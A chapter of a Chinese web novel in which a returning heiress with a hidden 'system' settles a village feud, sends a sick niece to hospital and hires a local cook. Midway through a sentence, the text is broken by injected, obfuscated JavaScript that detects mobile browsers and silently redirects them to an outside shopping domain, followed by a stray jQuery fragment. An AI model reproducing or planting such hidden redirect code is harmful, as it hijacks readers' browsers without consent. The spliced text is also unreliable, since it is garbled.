纪爱国看到堂妹那错愕的眼神,涨红着脸,“我是被冤枉的。我一个大男人偷女人裤衩干什么?我又不能穿。”
这时候百姓保守,并不知道“异物癖”这个词。偷东西的目的除了卖就是用。没有第三个目的。
但是不妨碍黄永平脑洞大开,哼了哼,“谁知道你是不是想女人想疯了?咱们村有一个算一个,谁不知道你相了几十个姑娘都没成功!二十八了,还是个光棍!你偷女人衣服,有什么奇怪的?!”
他的怀疑有理有据,还挺符合逻辑,不了解纪爱国的人真觉得他就是个变态!
时梦雨不愿意把纪爱国往变态方向想,她在心里呼叫系统,“到底怎么回事?纪爱国真的偷过女人裤衩?”
她可以接受纪爱国小气,毕竟他娶不着媳妇,也影响不到别人。但她无法忍受她的堂兄心理变态。
系统回答,【不是,他是被黄家人陷害的,纪爱民把黄永亮的父亲送去坐牢,黄永亮就故意偷全村女人的裤衩扔进他房间。纪爱国跟他住一间屋子,这事被抖出来,大家都怀疑是纪爱国干的。】
时梦雨奇了,“为什么只怀疑纪爱国,不怀疑纪爱民?”
同样都是男人,同样都未婚,只怀疑其中一个,这不合理吧?
【纪爱民很早就说自己不娶媳妇,再加上他在村里名声还不错,大姑娘和小媳妇对他印象挺好。】
“因为他喜欢多管闲事,不许村里男人打媳妇?”
【对!他曾经拒绝过好几个姑娘的表白。纪爱国就不一样了,他一心想着娶媳妇,所以大家都怀疑他。】
时梦雨觉得这个逻辑能说通,但纪爱国也是真冤枉。什么坏事都没做,却劳改三年。
这黄家人真是坏得没边,她坚决不放过,她站起来,冲着黄永平道,“你口口声声说你二弟开玩笑,那好!只要你当着众人的面脱光,再跑到镇上溜达一圈,三堂哥就同意跟你们和解。”
这话一出,围观群众炸开了锅,大姑娘和小媳妇都涨红着脸,不敢再看,全都竖着耳朵听。
黄永平被架在火上烤,他怎么可能裸奔?是!他裸奔跑了一圈,二弟能被放出来,可他就得被关进牢里!
“不行!我不同意!”黄永平被黄母死死拽着,生怕大儿子真的去裸奔,她跪在地上撒泼耍赖,“你们别太过份了!”
林镇长脑门突突地,他大声问,“村长呢?村干部呢?都死哪里去了?”
村长举手,推开人群,挤进来,“林镇长,我在!”
“赶紧把人弄走!”林镇长刚刚好说歹说,这些人都不听,他耐心全无,甚至怀疑这家人就是故意来坏纪家好事,他哪有心思管他们。
村长被训,忙不迭叫村里人搭把手,把黄家人都给弄走。
好几个汉子过来帮忙,他们重点制住黄家两个小子,黄母是女人,他们不好碰她,于是给黄母找到机会,她仰头长啸,“你们不放我儿子,我就死给你们看!林镇长,我就是到了阴曹地府,也要告你崇洋媚外!你就是汉奸!”
说着直直朝纪家门上撞,这可把林镇长吓了一跳,也把纪家人吓得不轻!
等黄母软倒在地,场面彻底乱套,林镇长上前探她鼻息,还好,纪家的门是木头做的,没把人撞死。
林镇长的腿差点软了,他擦了擦额头的细汗。这叫什么事啊,气性这么大,说要寻死觅活,居然玩真的。
黄永平和黄永亮推开傻呆呆的村民,冲过来,一把抱住母亲,摇晃她的身体,“妈?妈?你没事吧,妈?!”
林镇长催促,“快把人送去卫生所看看吧?”
他上手要帮忙,黄永平和黄永亮愤怒地推开他。
村长带几个村民帮着一块抬出门,林镇长怕闹出人命,也跟过去,走了几步,突然又返回来,冲时梦雨露出歉意,“对不住,我去瞧瞧。千万别闹出人命。”
时梦雨还能说什么,只能跟着点头,“行。你去吧。”
黄家在纪家大喜的日子闹这么一通,林镇长之前的努力全白费。记者都开始同情他了。
不过记者还没忘了自己的本职工作,他采访时梦雨祖辈的事情以及她回乡探亲的感受和纪家人的感想。
采访完,记者也提出告辞,今天拍的照片很多,素材也准备得差不多了,他要回去把搞子赶出来。一周后就要登报呢。时间不等人。
锣鼓队也要回去了。
时梦雨让司机将他们一起送回去。
等这些外人都走光后,纪爱党冲门口的村民们道,“现在你们先回去吧,我们还要跟表妹说话呢。”
人家都开口撵人了,村民们不好赖在门口,纷纷离开纪家。
时梦雨问了下大伯的情况,纪爱琴作为大姐,一五一十说了,时梦雨之前已经从系统那边打听过他们的情况。
说几句感慨后,她想起一件事,“我还有件事拜托大哥。”
纪爱党疑惑,“什么事?”
“我明天带你们去厂里参观,你多跟厂里的职工聊天,透过他们的嘴,看看谁更适合当厂长和部门主管。我要开服装厂,得有一位负责任的厂长。”时梦雨觉得纪爱党的性格很适合挖墙角。
纪爱党点头如捣蒜,“行!我一定帮你挖到合心意的人才。”
大人的事说完了,纪爱琴和苏雪就把两个孩子带过来,给时梦雨介绍。
这两个孩子年纪差不多,男孩叫乐乐,是纪爱党和苏雪生的,女孩是纪爱琴的,叫桃桃。只是桃桃看着有点病弱。
“这孩子看着病泱泱的样子,你们有没有带去大医院瞧过?”时梦雨想起系统之前跟她提过,纪爱琴就是因为女儿的死才会黑化,报复男女主。
这样文静乖巧的孩子死了多可惜。
纪爱琴苦笑,“去卫生所看过,吃一阵药,好了,把药停了,又会生病,反反复复。”
时梦雨蹙眉,“只去卫生所?没去大医院看看?”
“之前反反复复生病,治了大半年还没好,我就带她去大医院看病,但是他们开的药跟卫生所一样。”纪爱琴觉得都是一样的药,还不如就在卫生所拿呢。来回路程更短。
时梦雨上辈子学的是理科,不懂医学,但是反反复复生病,说明这病就没治好。
她想了想,“这样吧,明天你别跟我去厂里参观了。先带孩子去医院看病。”
她问系统,“南城哪家医院医术最好?”
【当然是军区总院了】
时梦雨原话重复,“就去军区总院吧。”
纪爱琴瞪大眼睛,“军区总院?我们能去那边看病吗?那得是军人军属吧?”
“现在普通人也能去。军人军属可以报销,我们普通人是自费的。”时梦雨看着桃桃蜡黄的小脸,“这孩子太瘦了。”
时梦雨担心纪爱琴手里没钱,给了纪爱琴一千块外汇券,她现在没有人民币,从外面带进来的美元只能换成这个。
纪爱琴抹着眼泪收下了。
“吃饭啦!”
纪爱国从外面端菜进来,满满当当,很快就将饭桌摆满了。
这么多人,一个小饭桌肯定不够坐,纪爱国就去隔壁借了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17761790|209604||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
套桌椅板凳,让司机、厨师和保镖坐一桌。他们一家人坐一桌。
时梦雨一开始对饭菜不报希望,这时候家家户户都很穷,纪家有个病人,更是穷得叮当响,屋里的墙皮都掉了,虽然昨天修补过,但是坑坑洼洼,像苔藓似的。
这么穷,日常做菜油水少是常事。可是她夹了一块放进嘴里,挑了挑眉,居然挺好吃。
主食甚至不是大米,而是面包。
时梦雨诧异,“镇上有面包店?”
纪爱民摇头,“不是。这是厨师刚刚现做的。”
他把程护家叫过来。
时梦雨刚刚在人群中逡巡时,就注意到他了。
无他!他长得特别帅,很像上辈子红遍全国的当红顶流,她不由自主多看两眼。
纪爱民将程护家介绍给时梦雨,“他在镇上国营饭店当厨师,祖上就是做村厨,手艺好着呢。我也是头一回吃面包。没想到挺好吃的。”
时梦雨恍然,原来是国营饭店的厨师,之前她在饭店吃的酸菜羊肉就很不错。没想到他做其他菜也很棒!
其他人尝过后,也跟着点头,“是啊,好吃。又松又软,吃着甜滋滋的。”
也有人问程护家怎么做的。
程护家就简单说了一下做法,大家听着好复杂,而且面团还要反复折叠,不如馒头省事。于是作罢。
时梦雨有些好奇,“你做面包跟谁学的?”
程护家是个实诚人,回答得拘谨,“我自己买书学的。我还会做吐司、恰巴塔。”
时梦雨最喜欢恰巴塔,柔韧又有嚼劲,她眼里带了几分欣赏,“中餐、西餐兼顾!不错啊。你有没有兴趣给我当厨师?工资翻三倍。要是做得好,还有额外奖励。”
她不清楚这年头国营饭店厨师多少钱工资,就只能用翻三倍来吸引他。毕竟她让程护家丢掉铁饭碗给她打工,没有高工资根本吸引不了人家。
程护家眼睛一亮。
镇上的国营饭店还有几年就会倒闭,到那时他没了工作,只能摆摊。现在有个大老板肯雇佣他,自然求之不得,也不枉费他特地花时间做面包给她吃,他试探问,“我去哪工作?”
时梦雨笑道,“我暂时住在市里酒店,不过我会在市里买房,一周后,我会让大堂哥告诉你地址。”
改革开放早期商品房都是卖给外国人,房子的样式也多是外国流行风格。
程护家笑着点头。
纪爱民也为好兄弟高兴,搂住他肩膀,小声提醒他,“你在国营饭店端的是铁饭碗,你真要辞职?你父母能同意?”
他们没有工作,只能在家里种地,所以进厂打工,是一条好出路。可是程护家不是啊,他在国营饭店每个月工资加补贴能拿一百。多好的待遇啊。
程护家苦笑,“我跟父母闹掰了。想找一份包吃包住的工作。你堂妹刚回国肯定吃不惯中餐,我就过来碰碰运气。”
纪爱民神情复杂,“你今后真的一分钱不给你父母?”
一个人变化会这么大吗?以前对父母予取予求,突然间就变得铁石心肠,要不是脸没变,他都要怀疑程护家被人冒名顶替了。
程护家点头,“他们还不到五十,远不到需要我赡养的年纪。我得为自己打算。”
纪爱民拍拍肩膀,不再劝,“行吧。你自己决定就好。”
吃饱喝足后,时梦雨给纪家留了两千块外汇券,给他们当生活费。
她带着保镖先回去,“明天九点,我让司机过来接人。”
“好!”一家人将时梦雨送出村子。